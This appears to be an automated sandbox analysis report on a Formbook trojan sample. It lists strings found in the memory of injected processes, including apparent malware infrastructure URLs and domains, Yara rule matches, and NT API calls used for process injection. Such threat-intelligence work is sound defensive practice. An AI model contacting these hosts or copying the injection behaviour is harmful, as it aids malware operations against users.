Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/js/min.js?v2.3
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28903/search.png)
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/29590/bg1.png)
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/8934/rcomlogo.jpg
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.Alphaaistore.com
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.Martaschrimpf.info
Source: HoiWfznxKU.exe, 00000006.00000002.3987877558.0000000004E9E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/Alpha.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmStYCNq%2BtSB73n
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/Christian_Private_Schools.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/Christian_Website.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmStY
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/Church_Video.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmStYCNq%2
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/The_Christian_Faith.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmS
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/__media__/js/trademark.php?d=alphaaistore.com&type=dflt
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/display.cfm
Source: HoiWfznxKU.exe, 00000006.00000002.3987877558.0000000004E9E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.alphaaistore.com/xf5b/
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/Buy_Music_Online.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eqcRoFM4
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/Matt_Schrimpf.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eqcRoFM4S68
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/Music_Production_Schools.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/Music_Video_Production.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eq
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/Schrimpf.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eqcRoFM4S6840KTg
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/__media__/design/underconstructionnotice.php?d=martaschrimpf.info
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/__media__/js/trademark.php?d=martaschrimpf.info&type=ns
Source: Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.martaschrimpf.info/display.cfm
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.register.com/?trkID=WSTm3u15CW
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.register.com?trkID=WSTm3u15CW
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdn.consentmanager.net
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://delivery.consentmanager.net
Source: HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D4F000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3985211901.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033L
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: Robocopy.exe, 00000004.00000003.2452211637.00000000079A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.register.com/whois.rcmx?domainName=Alphaaistore.com

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042CE13 NtClose,	2_2_0042CE13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030735C0 NtCreateMutant,LdrInitializeThunk,	2_2_030735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072B60 NtClose,LdrInitializeThunk,	2_2_03072B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03072DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03074340 NtSetContextThread,	2_2_03074340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073010 NtOpenDirectoryObject,	2_2_03073010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073090 NtSetValueKey,	2_2_03073090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03074650 NtSuspendThread,	2_2_03074650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072B80 NtQueryInformationFile,	2_2_03072B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BA0 NtEnumerateValueKey,	2_2_03072BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BE0 NtQueryValueKey,	2_2_03072BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BF0 NtAllocateVirtualMemory,	2_2_03072BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AB0 NtWaitForSingleObject,	2_2_03072AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AD0 NtReadFile,	2_2_03072AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AF0 NtWriteFile,	2_2_03072AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030739B0 NtGetContextThread,	2_2_030739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F30 NtCreateSection,	2_2_03072F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F60 NtCreateProcessEx,	2_2_03072F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F90 NtProtectVirtualMemory,	2_2_03072F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FA0 NtQuerySection,	2_2_03072FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FB0 NtResumeThread,	2_2_03072FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FE0 NtCreateFile,	2_2_03072FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072E30 NtWriteVirtualMemory,	2_2_03072E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072E80 NtReadVirtualMemory,	2_2_03072E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072EA0 NtAdjustPrivilegesToken,	2_2_03072EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072EE0 NtQueueApcThread,	2_2_03072EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D00 NtSetInformationFile,	2_2_03072D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D10 NtMapViewOfSection,	2_2_03072D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073D10 NtOpenProcessToken,	2_2_03073D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D30 NtUnmapViewOfSection,	2_2_03072D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073D70 NtOpenThread,	2_2_03073D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DB0 NtEnumerateKey,	2_2_03072DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DD0 NtDelayExecution,	2_2_03072DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C00 NtQueryInformationProcess,	2_2_03072C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C60 NtCreateKey,	2_2_03072C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C70 NtFreeVirtualMemory,	2_2_03072C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CA0 NtQueryInformationToken,	2_2_03072CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CC0 NtQueryVirtualMemory,	2_2_03072CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CF0 NtOpenProcess,	2_2_03072CF0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048335C0 NtCreateMutant,LdrInitializeThunk,	4_2_048335C0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04834650 NtSuspendThread,LdrInitializeThunk,	4_2_04834650
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04834340 NtSetContextThread,LdrInitializeThunk,	4_2_04834340
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_04832CA0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832C60 NtCreateKey,LdrInitializeThunk,	4_2_04832C60
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_04832C70
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832DD0 NtDelayExecution,LdrInitializeThunk,	4_2_04832DD0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_04832DF0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_04832D10
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_04832D30
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832E80 NtReadVirtualMemory,LdrInitializeThunk,	4_2_04832E80
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_04832EE0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832FB0 NtResumeThread,LdrInitializeThunk,	4_2_04832FB0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832FE0 NtCreateFile,LdrInitializeThunk,	4_2_04832FE0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832F30 NtCreateSection,LdrInitializeThunk,	4_2_04832F30
